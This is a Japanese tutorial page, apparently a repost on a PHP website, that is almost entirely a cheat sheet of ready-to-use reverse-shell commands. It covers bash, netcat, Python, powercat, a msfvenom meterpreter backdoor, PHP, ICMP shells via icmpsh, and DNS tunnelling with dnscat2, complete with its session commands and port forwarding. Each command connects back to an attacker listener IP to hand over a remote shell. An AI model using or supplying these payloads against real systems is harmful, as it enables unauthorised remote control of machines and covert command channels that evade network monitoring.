ホームページ > 運用・保守 > 安全性 > リバウンドシェルとは何ですか?

リバウンドシェルとは何ですか?

王林
リリース: 2023-05-18 22:01:04
転載
2119 人が閲覧しました

1.bash リバウンド

bash -i >& /dev/tcp/ip_address/port 0>&1
ログイン後にコピー

リバウンドシェルとは何ですか?

2.nc リバウンド

nc -e /bin/sh 192.168.2.130 4444
ログイン後にコピー

リバウンドシェルとは何ですか?

3.python

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
ログイン後にコピー

リバウンドシェルとは何ですか?

4.powercat

Import-Module .\powercat.ps1
powercat -c 192.168.2.130 -p 4444 -e cmd.exe
ログイン後にコピー

リバウンドシェルとは何ですか?

5.msf は exe バックドアを生成します

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.130 LPORT=4444 -f exe > shell.exe
ログイン後にコピー

6.php リバウンド シェル

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i &3 2>&3");'
ログイン後にコピー

リバウンドシェルとは何ですか?

リバウンドシェルとは何ですか?

#7.ICMP

关闭icmp响应,不然shell一直跳,恢复是0

sysctl -w net.ipv4.icmp_echo_ignore_all=1

python icmpsh_m.py 源 目标
python icmpsh_m.py 192.168.2.137 192.168.2.135
ログイン後にコピー

Windows7 での実行:

icmpsh.exe -t 192.168.2.137
ログイン後にコピー

リバウンドシェルとは何ですか?

リバウンドシェルとは何ですか?

8.DNS

https://downloads.skullsecurity.org/dnscat2/

ここでは dnscat2 を使用します。ダウンロードは次のとおりです。 Windows と Linux のバージョン、サーバーとクライアント。

また、vs2008 を使用してコンパイルすることをお勧めします

インストール

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install
sudo ruby ./dnscat2.rb
ログイン後にコピー

kali

ruby dnscat2.rb --dns host=0.0.0.0,port=53531
ruby dnscat2.rb --dns server=23.105.193.106,port=533,type=TXT --secret=123456(密钥)
ruby dnscat2.rb xxx.com
ログイン後にコピー

Windows7 の場合:

./dnscat --dns server=192.168.2.130,port=53531
./dnscat --dns server=192.168.2.130,port=53531 --secret=qwer1234(密钥)
./dnscat xxx.com
ログイン後にコピー
接続に成功した後

リバウンドシェルとは何ですか?

リバウンドシェルとは何ですか?

レコードの表示

リバウンドシェルとは何ですか?#接続の選択

リバウンドシェルとは何ですか?シェルを使用する

リバウンドシェルとは何ですか?シェルの選択に戻る

リバウンドシェルとは何ですか?コマンドを実行

リバウンドシェルとは何ですか?その他のコマンド

quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)</id></id>
ログイン後にコピー

DNS トンネル転送

listen 127.0.0.1:6666 192.168.2.135:80
本机的6666就可以访问80端口
ログイン後にコピー

以上がリバウンドシェルとは何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:yisu.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート